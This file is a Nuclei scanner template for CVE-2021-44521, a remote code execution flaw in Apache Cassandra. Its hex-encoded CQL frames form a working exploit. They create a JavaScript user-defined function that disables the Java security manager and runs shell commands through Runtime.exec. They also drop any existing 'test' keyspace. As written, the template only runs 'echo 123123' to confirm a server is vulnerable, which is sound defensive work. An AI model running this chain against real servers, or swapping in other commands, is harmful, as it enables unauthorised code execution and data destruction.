id: CVE-2021-44521

info:
  name: Apache Cassandra Load UDF RCE
  author: Y4er
  severity: critical
  description: 'When running Apache Cassandra with the following configuration: enable_user_defined_functions: true enable_scripted_user_defined_functions: true enable_user_defined_functions_threads: false it is possible for an attacker to execute arbitrary code on the host. The attacker would need to have enough permissions to create user defined functions in the cluster to be able to exploit this. Note that this configuration is documented as unsafe, and will continue to be considered unsafe after this CVE.'
  reference:
    - https://y4er.com/post/cve-2021-44521-apache-cassandra-udf-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44521
    - https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/
    - https://lists.apache.org/thread/y4nb9s4co34j8hdfmrshyl09lokm7356
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-44521
    cwe-id: CWE-94
  tags: cve,cve2021,network,rce,apache,cassandra

network:
  - inputs:
      - data: "050000000500000000"
        read: 1024
        type: hex
      - data: "0500000101000000530003000b4452495645525f4e414d450016446174615374617820507974686f6e20447269766572000e4452495645525f56455253494f4e0006332e32352e30000b43514c5f56455253494f4e0005332e342e35"
        read: 1024
        type: hex
      - data: "3e000218aeb50500000307000000350000001d64726f70204b455953504143452049462045584953545320746573743b0001000000340000006400080005d82cc8ca0e4fcdde8c0a"
        read: 1024
        type: hex
      - data: "7f0002a6a69f0500000407000000760000005e435245415445204b4559535041434520746573742057495448207265706c69636174696f6e203d207b27636c617373273a202753696d706c655374726174656779272c20277265706c69636174696f6e5f666163746f7227203a20317d3b0001000000340000006400080005d82cc8ca390f0ddce06b"
        read: 1024
        type: hex
      - data: "7d000296664f0500000807000000740000005c435245415445205441424c4520746573742e7263652028636d642076617263686172205052494d415259204b455929205749544820636f6d6d656e743d27496d706f7274616e742062696f6c6f676963616c207265636f726473273b0001000000340000006400080005d82cc8cb2fc161951510"
        read: 1024
        type: hex
      - data: "1c030291ff34050000100700000313000002fb637265617465206f72207265706c6163652046554e4354494f4e20746573742e657865632820636d64207465787420290d0a2020202052455455524e53204e554c4c204f4e204e554c4c20494e5055540d0a2020202052455455524e5320746578740d0a202020204c414e4755414745206a6176617363726970740d0a2020202041532024240d0a202020207661722053797374656d203d204a6176612e7479706528226a6176612e6c616e672e53797374656d22293b53797374656d2e73657453656375726974794d616e61676572286e756c6c293b0d0a202020207661722065203d746869732e656e67696e652e666163746f72792e736372697074456e67696e652e6576616c2827766172206f736e616d65203d206a6176612e6c616e672e53797374656d2e67657450726f706572747928226f732e6e616d6522293b6f736e616d65203d206f736e616d652e746f4c6f7765724361736528293b7661722073706c6974203d206f736e616d652e73746172747357697468282277696e2229203f20222f6322203a20222d63223b76617220636d6450617468203d206f736e616d652e73746172747357697468282277696e2229203f2022636d6422203a202262617368223b76617220636f6d6d616e64203d2022272b636d642b27223b7661722073203d205b636d64506174682c2073706c69742c20636f6d6d616e645d3b70203d206a6176612e6c616e672e52756e74696d652e67657452756e74696d6528292e657865632873293b766172206272203d206e6577206a6176612e696f2e4275666665726564526561646572286e6577206a6176612e696f2e496e70757453747265616d52656164657228702e676574496e70757453747265616d282929293b766172207265733d22223b7768696c652028286c203d2062722e726561644c696e6528292920213d206e756c6c29207b202020207265732b3d6c3b7265732b3d6a6176612e6c616e672e53797374656d2e6c696e65536570617261746f7228293b7d27293b0d0a20202020653b0d0a2020202024243b0001000000340000006400080005d82cc8cc7ece89646c85"
        read: 1024
        type: hex
      - data: "51000278033505000014070000004800000030696e7365727420696e746f20746573742e72636528636d64292076616c75657328276563686f2031323331323327293b0001000000340000006400080005d82cc8cd5b810ef0b16e"
        read: 1024
        type: hex
      - data: "450002bff1d805000015070000003c0000002473656c65637420746573742e6578656328636d64292066726f6d20746573742e7263653b0001000000340000006400080005d82cc8cd99d444271281"
        read: 1024
        type: hex
      - data: "3e000218aeb50500000307000000350000001d64726f70204b455953504143452049462045584953545320746573743b0001000000340000006400080005d82cc8ca0e4fcdde8c0a"
        type: hex
        read: 1024

    host:
      - "{{Hostname}}"
      - "{{Host}}:9042"

    matchers:
      - type: word
        part: raw
        words:
          - "123123"

# Enhanced by mp on 2022/03/07